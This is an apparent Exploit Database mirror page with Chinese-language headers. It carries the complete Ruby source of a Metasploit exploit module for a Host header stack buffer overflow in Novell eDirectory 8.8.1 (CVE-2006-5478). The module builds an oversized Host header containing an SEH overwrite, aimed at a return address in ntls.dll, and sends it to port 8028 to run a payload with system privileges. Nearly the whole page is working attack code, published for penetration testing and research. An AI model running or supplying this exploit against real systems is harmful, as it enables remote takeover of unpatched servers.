Novell eDirectory NDS Server – Host Header Overflow (Metasploit)

• Exploit Database
• 35 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16773/

• ##
  # $Id: edirectory_host.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Novell eDirectory NDS Server Host Header Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Novell eDirectory 8.8.1.
  				The web interface does not validate the length of the
  				HTTP Host header prior to using the value of that header in an
  				HTTP redirect.
  			},
  			'Author' => 'MC',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					['CVE', '2006-5478'],
  					['OSVDB', '29993'],
  					['BID', '20655'],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'seh',
  				},
  			'Payload'=>
  				{
  					'Space'=> 600,
  					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
  					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Novell eDirectory 8.8.1', { 'Ret' => 0x10085bee } ], # ntls.dll
  				],
  			'Privileged' => true,
  			'DisclosureDate' => 'Oct 21 2006',
  			'DefaultTarget' => 0))
  
  		register_options([Opt::RPORT(8028)], self.class)
  	end
  
  	def exploit
  		connect
  
  		sploit ="GET /nds HTTP/1.1" + "\r\n"
  		sploit << "Host: " + rand_text_alphanumeric(9, payload_badchars)
  		sploit << "," + rand_text_alphanumeric(719, payload_badchars)
  		seh= generate_seh_payload(target.ret)
  		sploit[705, seh.length] = seh
  		sploit << "\r\n\r\n"
  
  		print_status("Trying target #{target.name}...")
  
  		sock.put(sploit)
  
  		handler
  		disconnect
  	end
  
  end